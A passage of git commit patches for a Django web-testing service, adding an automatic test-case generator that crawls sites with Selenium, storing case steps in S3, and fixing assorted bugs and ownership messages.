+        'num_steps': len(steps),
+        'url': steps_url
+    }
 
 
 
@@ -2432,21 +2468,27 @@ def create_or_update_case(request):
             return Response(data, status=status.HTTP_404_NOT_FOUND)
         
         if case.account != account:
-            data = {'reason': 'retrieve Cases you do not own',}
+            data = {'reason': 'cannot retrieve Cases you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         else:
-            case.steps = steps
-            case.name = name
-            case.tags = tags
+            if steps is not None:
+                steps_data = save_case_steps(steps)
+                case.steps = steps_data
+            if name is not None:
+                case.name = name
+            if tags is not None:
+                case.tags = tags
             case.save()
     
     else:
+        setps_data = save_case_steps(steps)
+
         case = Case.objects.create(
             user = request.user,
             name = name, 
-            tags = tags,
-            steps = steps,
+            tags = tags if tags is not None else ["recorded"],
+            steps = steps_data,
             account = account
         )
 
@@ -2474,7 +2516,7 @@ def get_cases(request):
             return Response(data, status=status.HTTP_404_NOT_FOUND)
 
         if case.account != account:
-            data = {'reason': 'retrieve an Case you do not own',}
+            data = {'reason': 'cannot retrieve an Case you do not own',}
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
         serializer_context = {'request': request,}
@@ -2526,6 +2568,10 @@ def delete_case(request, id):
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
+    # delete s3 steps object
+    bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+    bucket.objects.filter(Prefix=str(f'static/cases/{case.id}.json')).delete()
+
     case.delete()
 
     data = {'message': 'Case has been deleted',}
@@ -2538,6 +2584,45 @@ def delete_case(request, id):
 
 
 
+def create_auto_cases(request):
+    # get data
+    site_id = request.data.get('site_id')
+    site_url = request.data.get('site_url')
+    max_cases = request.data.get('max_cases', 4)
+    max_layers = request.data.get('max_layers', 6)
+    configs = request.data.get('configs')
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+
+    # get site if only site_url present
+    if site_id is None and site_url is not None:
+        site = Site.objects.filter(account=account, site_url=site_url)[0]
+        site_id = str(site.id)
+    else:
+        # return error response
+        data = {'reason': 'site not found',}
+        record_api_call(request, data, '404')
+        response = Response(data, status=status.HTTP_404_NOT_FOUND)
+        return response
+
+
+    # send data to bg_autocase_task
+    create_auto_cases_bg.delay(
+        site_id=site_id,
+        max_cases=max_cases,
+        max_layers=max_layers,
+        configs=configs
+    )
+
+    # return response
+    data = {'message': 'Cases are generating',}
+    record_api_call(request, data, '200')
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
 
 
 def create_testcase(request, delay=False):
@@ -2575,13 +2660,14 @@ def create_testcase(request, delay=False):
         record_api_call(request, data, '409')
         return Response(data, status=status.HTTP_409_CONFLICT)
 
-    steps = case.steps
+    steps = requests.get(case.steps['url']).json()
     for step in steps:
         if step['action']['type'] != None:
             step['action']['time_created'] = None
             step['action']['time_completed'] = None
             step['action']['exception'] = None
             step['action']['passed'] = None
+            step['action']['img'] = None
 
         if step['assertion']['type'] != None:
             step['assertion']['time_created'] = None
@@ -2652,7 +2738,7 @@ def get_testcases(request):
             return Response(data, status=status.HTTP_404_NOT_FOUND)
 
         if testcase.account != account:
-            data = {'reason': 'retrieve an Testcase you do not own',}
+            data = {'reason': 'cannot retrieve an Testcase you do not own',}
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
         serializer_context = {'request': request,}
@@ -2730,7 +2816,7 @@ def get_logs(request):
     if log_id != None:
         log = Log.objects.get(id=log_id)
         if log.user != request.user:
-            data = {'reason': 'retrieve Logs you do not own',}
+            data = {'reason': 'cannot retrieve Logs you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 0fc9a204..5cab7914 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -40,6 +40,7 @@
     path('case', views.Cases.as_view(), name='case'),
     path('case/<uuid:id>', views.CaseDetail.as_view(), name='case-detail'),
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
+    path('case/auto', views.AutoCases.as_view(), name='case-auto'),
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index cb76ffa6..577f847b 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -491,6 +491,16 @@ def delete(self, request, id):
 
 
 
+
+class AutoCases(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post']
+
+    def post(self, request):
+        response = create_auto_cases(request)  
+
+
+
 class Testcases(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']

From 5f119862f401689a6779a2779e23b6470d4a3ab9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 14:07:08 -0600
Subject: [PATCH 0435/1099] fixed return response

---
 app/api/v1/ops/views.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 577f847b..b5fabc02 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -498,6 +498,7 @@ class AutoCases(APIView):
 
     def post(self, request):
         response = create_auto_cases(request)  
+        return response
 
 
 

From 35f3ff68b5f7719cf33f28bce3a321b25c804f73 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 14:52:10 -0600
Subject: [PATCH 0436/1099] fixing exception handling issues

---
 app/api/v1/ops/services.py | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index fdd201cd..40d53ef1 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2594,19 +2594,18 @@ def create_auto_cases(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-
     # get site if only site_url present
     if site_id is None and site_url is not None:
         site = Site.objects.filter(account=account, site_url=site_url)[0]
         site_id = str(site.id)
-    else:
+
+    if site_id is None and site_url is None:
         # return error response
         data = {'reason': 'site not found',}
         record_api_call(request, data, '404')
         response = Response(data, status=status.HTTP_404_NOT_FOUND)
         return response
 
-
     # send data to bg_autocase_task
     create_auto_cases_bg.delay(
         site_id=site_id,

From 2ca883e50a4183423740df94cefe2a251bfae3c6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 14:55:37 -0600
Subject: [PATCH 0437/1099] fixed key error in task

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 40aff237..3c98c5f1 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -501,7 +501,7 @@ def create_auto_cases_bg(
     configs=None
 ):
     # get site
-    site = Site.objects.get(id=id)
+    site = Site.objects.get(id=site_id)
 
     # init AutoCaser
     AC = AutoCaser(

From 6fa5cac8d169ca8cecb281e3dd3d7868c14bcacd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 14:59:04 -0600
Subject: [PATCH 0438/1099] fixed naming error

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index e33486a7..a59f2c54 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -17,7 +17,7 @@ class AutoCaser():
     def __init__(self, site, max_cases: int=4, max_layers: int=5):
          
         # main site object & configs
-        self.scan = site
+        self.site = site
         self.max_cases = max_cases
         self.max_layers = max_layers
 

From 7077215c890b4a6582a82e24b9b5225eceb76ebf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 15:03:25 -0600
Subject: [PATCH 0439/1099] fixed driver association

---
 app/api/utils/autocaser.py | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index a59f2c54..15974852 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -148,7 +148,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
             print(f'recording form -> {form_selector}')
 
             # getting form text
-            elem_text = self.get_elem_text(selector=form_selector, driver=driver)
+            elem_text = self.get_elem_text(selector=form_selector, driver=self.driver)
 
             # get form image
             form_img = self.get_element_image(element=form)
@@ -345,7 +345,7 @@ def get_elements(self):
         start_page = self.driver.current_url
 
         # record all forms and sub_elements on page
-        elements = self.record_forms(elements=elements, driver=driver)
+        elements = self.record_forms(elements=elements, driver=self.driver)
     
         # grab all buttons
         buttons = self.driver.find_elements(By.TAG_NAME, "button")
@@ -359,7 +359,7 @@ def get_elements(self):
         # sorting start_elems
         sorted_elements = self.get_priority_elements(
             elements=start_elms, 
-            driver=driver
+            driver=self.driver
         )
         priority_elements = sorted_elements['priority_elements']
         non_priority_elements = sorted_elements['non_priority_elements']
@@ -411,14 +411,14 @@ def get_elements(self):
             # ensuring we're at start_page
             if self.driver.current_url != start_page:
                 self.driver.get(start_page)
-                driver_wait(driver=driver)
+                driver_wait(driver=self.driver)
 
             # get element info
             element = self.driver.find_element(By.CSS_SELECTOR, selector)
             element_img = self.get_element_image(element=element)
             element_type = element.tag_name
             elem_relative_url = self.get_relative_url(self.driver.current_url)
-            elem_text = self.get_elem_text(selector=selector, driver=driver)
+            elem_text = self.get_elem_text(selector=selector, driver=self.driver)
 
             print(f'working on this start element -> {selector}')
 
@@ -444,7 +444,7 @@ def get_elements(self):
                 print(f'layers -> {layers} | run -> {run}')
 
                 # driver wait
-                driver_wait(driver=driver)
+                driver_wait(driver=self.driver)
 
                 # check current page
                 if self.driver.current_url == previous_url:
@@ -492,7 +492,7 @@ def get_elements(self):
                                 # record form into sub_elements list
                                 sub_elements = self.record_forms(
                                     elements=sub_elements, 
-                                    driver=driver,
+                                    driver=self.driver,
                                     form=elem
                                 )
 
@@ -510,12 +510,12 @@ def get_elements(self):
                     self.driver.current_url.startswith(self.get_url_root(previous_url)):
 
                     # get new elements and randomly choose 1 (with priority)
-                    new_elements = self.get_current_elements(driver=driver)
+                    new_elements = self.get_current_elements(driver=self.driver)
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(
                         elements=new_elements, 
-                        driver=driver
+                        driver=self.driver
                     )
                     priority_elements = sorted_elements['priority_elements']
                     non_priority_elements = sorted_elements['non_priority_elements']
@@ -550,7 +550,7 @@ def get_elements(self):
                         # record form into sub_elements list
                         sub_elements = self.record_forms(
                             elements=sub_elements, 
-                            driver=driver,
+                            driver=self.driver,
                             form=elem
                         )
 

From 5e636caff4293f8e386c36c994cd0568e8b72306 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 15:06:50 -0600
Subject: [PATCH 0440/1099] updated record_forms

---
 app/api/utils/autocaser.py | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 15974852..21ec6f42 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -345,7 +345,7 @@ def get_elements(self):
         start_page = self.driver.current_url
 
         # record all forms and sub_elements on page
-        elements = self.record_forms(elements=elements, driver=self.driver)
+        elements = self.record_forms(elements=elements)
     
         # grab all buttons
         buttons = self.driver.find_elements(By.TAG_NAME, "button")
@@ -492,7 +492,6 @@ def get_elements(self):
                                 # record form into sub_elements list
                                 sub_elements = self.record_forms(
                                     elements=sub_elements, 
-                                    driver=self.driver,
                                     form=elem
                                 )
 
@@ -549,8 +548,7 @@ def get_elements(self):
                     if elem.tag_name == 'form':
                         # record form into sub_elements list
                         sub_elements = self.record_forms(
-                            elements=sub_elements, 
-                            driver=self.driver,
+                            elements=sub_elements,
                             form=elem
                         )
 

From bdbf2a9a2f0a094e17bd0b3af9f4bd3d82e0aa9e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 15:08:12 -0600
Subject: [PATCH 0441/1099] removed unnecessary var

---
 app/api/utils/autocaser.py | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 21ec6f42..7a4e710f 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -624,9 +624,6 @@ def build_cases(self):
         # run get_elements
         elements = self.get_elements()
 
-        # temp cases definition
-        cases = []
-
         # get/decide on value for element
         def get_elem_value(element):
             if element['value'] == None or len(element['value']) <= 0:

From 8dc2fb88606e737bceb0dac10182c4607d7bbc64 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 15:13:51 -0600
Subject: [PATCH 0442/1099] fixing minor bugs

---
 app/api/utils/autocaser.py | 30 +++++++++++++++---------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 7a4e710f..8219c7b7 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -143,12 +143,12 @@ def record_forms(self, elements: list, form: object=None) -> list:
         for form in forms:
             
             # get form selector
-            form_selector = self.driver.execute_script(selector_script, form)
+            form_selector = self.driver.execute_script(self.selector_script, form)
 
             print(f'recording form -> {form_selector}')
 
             # getting form text
-            elem_text = self.get_elem_text(selector=form_selector, driver=self.driver)
+            elem_text = self.get_elem_text(selector=form_selector)
 
             # get form image
             form_img = self.get_element_image(element=form)
@@ -162,7 +162,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 
                 if i.get_attribute('type') not in self.blacklist:
                     # get input data
-                    input_selector = self.driver.execute_script(selector_script, i)
+                    input_selector = self.driver.execute_script(self.selector_script, i)
                     placeholder = i.get_attribute('placeholder')
                     value = i.get_attribute('value')
                     type = i.get_attribute('type')
@@ -189,7 +189,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
             for iframe in iframes:
                 
                 # get iframe data
-                iframe_selector = self.driver.execute_script(selector_script, iframe)
+                iframe_selector = self.driver.execute_script(self.selector_script, iframe)
                 iframe_img = self.get_element_image(element=iframe)
                 relative_url = self.get_relative_url(self.driver.current_url)
                 
@@ -202,7 +202,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     
                     if i.get_attribute('type') not in self.blacklist:
                         # get input data
-                        input_selector = self.driver.execute_script(selector_script, i)
+                        input_selector = self.driver.execute_script(self.selector_script, i)
                         placeholder = i.get_attribute('placeholder')
                         value = i.get_attribute('value')
                         type = i.get_attribute('type')
@@ -246,7 +246,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
             for btn in btns:
 
                 # get button data
-                btn_selector = self.driver.execute_script(selector_script, btn)
+                btn_selector = self.driver.execute_script(self.selector_script, btn)
                 type = btn.get_attribute('type')
                 btn_img = self.get_element_image(element=btn)
                 relative_url = self.get_relative_url(self.driver.current_url)
@@ -302,7 +302,7 @@ def get_priority_elements(self, elements: list) -> dict:
         for element in elements:
 
             # get element's innerText
-            elem_selector = self.driver.execute_script(selector_script, element)
+            elem_selector = self.driver.execute_script(self.selector_script, element)
             elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
 
             # check each priority word against element innerText
@@ -372,7 +372,7 @@ def get_elements(self):
                 random.randint(0, (len(priority_elements) - 1))
             ]
             final_start_elements.append(
-                self.driver.execute_script(selector_script, choosen)
+                self.driver.execute_script(self.selector_script, choosen)
             )
 
         # adding random elements until 
@@ -386,7 +386,7 @@ def get_elements(self):
             ]
 
             # check if element exists in final_start_elements[]
-            selector = self.driver.execute_script(selector_script, choosen)
+            selector = self.driver.execute_script(self.selector_script, choosen)
             if selector in final_start_elements:
                 iterations += 1
                 continue
@@ -418,12 +418,12 @@ def get_elements(self):
             element_img = self.get_element_image(element=element)
             element_type = element.tag_name
             elem_relative_url = self.get_relative_url(self.driver.current_url)
-            elem_text = self.get_elem_text(selector=selector, driver=self.driver)
+            elem_text = self.get_elem_text(selector=selector)
 
             print(f'working on this start element -> {selector}')
 
             # get all current elements and url before action
-            old_elements = self.get_current_elements(driver)
+            old_elements = self.get_current_elements()
             previous_url = self.driver.current_url
 
             # perform first action
@@ -450,12 +450,12 @@ def get_elements(self):
                 if self.driver.current_url == previous_url:
                     
                     # check for new element
-                    new_elements = self.get_current_elements(driver)
+                    new_elements = self.get_current_elements()
                     for elem in new_elements:
                         if elem not in old_elements:
 
                             # get sub element info
-                            elem_selector = self.driver.execute_script(selector_script, elem)
+                            elem_selector = self.driver.execute_script(self.selector_script, elem)
                             elem_img = self.get_element_image(element=elem)
                             relative_url = self.get_relative_url(self.driver.current_url)
                             
@@ -509,7 +509,7 @@ def get_elements(self):
                     self.driver.current_url.startswith(self.get_url_root(previous_url)):
 
                     # get new elements and randomly choose 1 (with priority)
-                    new_elements = self.get_current_elements(driver=self.driver)
+                    new_elements = self.get_current_elements()
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(
@@ -540,7 +540,7 @@ def get_elements(self):
                         break
 
                     # get sub element info
-                    elem_selector = self.driver.execute_script(selector_script, elem)
+                    elem_selector = self.driver.execute_script(self.selector_script, elem)
                     elem_img = self.get_element_image(element=elem)
                     relative_url = self.get_relative_url(self.driver.current_url)
 

From 25a91b4d5546c56e99ad53da86f365b45d40c49a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 17:21:56 -0600
Subject: [PATCH 0443/1099] fixing more bugs

---
 app/api/utils/autocaser.py | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8219c7b7..41a9f4e1 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -359,7 +359,6 @@ def get_elements(self):
         # sorting start_elems
         sorted_elements = self.get_priority_elements(
             elements=start_elms, 
-            driver=self.driver
         )
         priority_elements = sorted_elements['priority_elements']
         non_priority_elements = sorted_elements['non_priority_elements']
@@ -513,8 +512,7 @@ def get_elements(self):
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(
-                        elements=new_elements, 
-                        driver=self.driver
+                        elements=new_elements,
                     )
                     priority_elements = sorted_elements['priority_elements']
                     non_priority_elements = sorted_elements['non_priority_elements']

From aea512e64f46d620d491f28cec24f591c92e7e53 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 18:33:00 -0600
Subject: [PATCH 0444/1099] fixing bugs

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 41a9f4e1..efba28a5 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -377,7 +377,7 @@ def get_elements(self):
         # adding random elements until 
         # "max_cases" is reached
         iterations = 0
-        while len(final_start_elements) < self.max_cases and iterations < (5 * max_cases):
+        while len(final_start_elements) < self.max_cases and iterations < (5 * self.max_cases):
 
             # random choice
             choosen = non_priority_elements[

From d6ab413b02143b3c0e04bc704cdf2272de026cd6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 18:51:05 -0600
Subject: [PATCH 0445/1099] added user info to cases

---
 app/api/utils/autocaser.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index efba28a5..222931ba 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -732,7 +732,9 @@ def sub_element_mapping(elements, steps):
             Case.objects.create(
                 id      = case_id,
                 site    = self.site,
-                name    = element['elem_text'],
+                user    = self.site.user,
+                account = self.site.user.account,
+                name    = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
                 tags    = ["generated"],
                 steps   = {
                     'url':  steps_url,

From 67d75708e4023c20c16b0d08e22d3baa2e1e0c3c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 18:56:02 -0600
Subject: [PATCH 0446/1099] updated action for password input

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 222931ba..cf7abf6b 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -62,7 +62,7 @@ def __init__(self, site, max_cases: int=4, max_layers: int=5):
             "image":            {'test_data': None, 'action': None},
             "month":            {'test_data': '2024-04', 'action': 'change'},
             "number":           {'test_data': '1', 'action': 'change'},
-            "password":         {'test_data': 'pass123456!@', 'action': 'click'},
+            "password":         {'test_data': 'pass123456!@', 'action': 'change'},
             "radio":            {'test_data': None, 'action': 'click'},
             "range":            {'test_data': 1, 'action': 'change'},
             "reset":            {'test_data': None, 'action': None},

From fe2dc5f631d312fe15da62d1afdac192fe15a493 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 18:57:53 -0600
Subject: [PATCH 0447/1099] fixed ownership issue

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index cf7abf6b..7daa0c2a 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -733,7 +733,7 @@ def sub_element_mapping(elements, steps):
                 id      = case_id,
                 site    = self.site,
                 user    = self.site.user,
-                account = self.site.user.account,
+                account = self.site.account,
                 name    = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
                 tags    = ["generated"],
                 steps   = {

From 7c87170188625dd835e6dc25087cbd11cf218263 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 19:22:32 -0600
Subject: [PATCH 0448/1099] fixed the case serializer

---
 app/api/v1/ops/serializers.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 04635002..f4267c5a 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -175,6 +175,7 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     user = serializers.ReadOnlyField(source='user.username')
     account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
+    site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
 
     class Meta:
         model = Case

From 6fcaf3a2d22fdbd9b9e0cbda2592eda5e6832dcb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 19:22:46 -0600
Subject: [PATCH 0449/1099] removed deplicate wait_for_db

---
 docker-compose.dev.yml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 0cf5c7c8..9c26c0fa 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -16,7 +16,6 @@ services:
              python3 manage.py makemigrations  --no-input &&
              python3 manage.py migrate  --no-input &&
              python3 manage.py collectstatic --no-input &&
-             python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test &&

From f7684b0a5941c16d3ef85df5ecfecf92b089d949 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 19:40:30 -0600
Subject: [PATCH 0450/1099] added exception for null action types

---
 app/api/utils/autocaser.py | 31 ++++++++++++++++---------------
 1 file changed, 16 insertions(+), 15 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 7daa0c2a..8f09655d 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -679,21 +679,22 @@ def sub_element_mapping(elements, steps):
                 if element['elements'] != None:
                     for elem in elements:
                         # add step
-                        steps.append({
-                            "action":{
-                                "key": "",
-                                "path": elem['path'],
-                                "type": elem['action'],
-                                "value": get_elem_value(elem),
-                                "element": elem['selector'],
-                                "img": elem['img']
-                            },
-                            "assertion":{
-                                "type": "",
-                                "value": "",
-                                "element": ""
-                            }
-                        })
+                        if elem['action'] is not None:
+                            steps.append({
+                                "action":{
+                                    "key": "",
+                                    "path": elem['path'],
+                                    "type": elem['action'],
+                                    "value": get_elem_value(elem),
+                                    "element": elem['selector'],
+                                    "img": elem['img']
+                                },
+                                "assertion":{
+                                    "type": "",
+                                    "value": "",
+                                    "element": ""
+                                }
+                            })
 
                         # check if sub_elements exists
                         if elem['elements'] != None:

From 231522e41128988837ee2d6321a24fff6e565b81 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 7 May 2024 10:10:23 -0600
Subject: [PATCH 0451/1099] updating s3 bucket scope

---
 app/api/v1/ops/services.py | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 40d53ef1..3e10b540 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -21,15 +21,6 @@
 
 
 
-# setup boto3 configurations
-s3 = boto3.client(
-    's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-    region_name=str(settings.AWS_S3_REGION_NAME), 
-    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-)
-
-
 
 
 def record_api_call(request, data, status):
@@ -2414,6 +2405,13 @@ def get_processes(request):
 
 
 def save_case_steps(steps):
+    # setup boto3 configurations
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
 
     # create .json file for steps and upload to s3
     steps_id = uuid.uuid4()
@@ -2567,6 +2565,14 @@ def delete_case(request, id):
         data = {'reason': 'delete an Case you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
+    
+    # setup boto3 configurations
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
 
     # delete s3 steps object
     bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)

From 961ad5f7634f4370791d4b897d9c13191ab0c977 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 7 May 2024 10:14:55 -0600
Subject: [PATCH 0452/1099] fixed s3 resource issue

---
 app/api/v1/ops/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 3e10b540..edc911ee 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2567,13 +2567,13 @@ def delete_case(request, id):
         return Response(data, status=status.HTTP_403_FORBIDDEN)
     
     # setup boto3 configurations
-    s3 = boto3.client(
-        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
         aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
         region_name=str(settings.AWS_S3_REGION_NAME), 
         endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
     )
-
+    
     # delete s3 steps object
     bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
     bucket.objects.filter(Prefix=str(f'static/cases/{case.id}.json')).delete()

From e36a8e9279dff38ee9264e5a37c544d17b3f613c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 7 May 2024 13:35:56 -0600
Subject: [PATCH 0453/1099] adding type to Case model

---
 app/api/models.py             | 3 ++-
 app/api/utils/autocaser.py    | 2 +-
 app/api/v1/ops/serializers.py | 2 +-
 app/api/v1/ops/services.py    | 5 +++--
 4 files changed, 7 insertions(+), 5 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 54dc00b6..9960a6ff 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -451,10 +451,11 @@ class Case(models.Model):
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
+    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
-        return f'{self.name}'
+        return f'{self.name}' if len(self.name) > 0 else str(id)
 
 
 
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8f09655d..dcddf3a2 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -736,7 +736,7 @@ def sub_element_mapping(elements, steps):
                 user    = self.site.user,
                 account = self.site.account,
                 name    = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
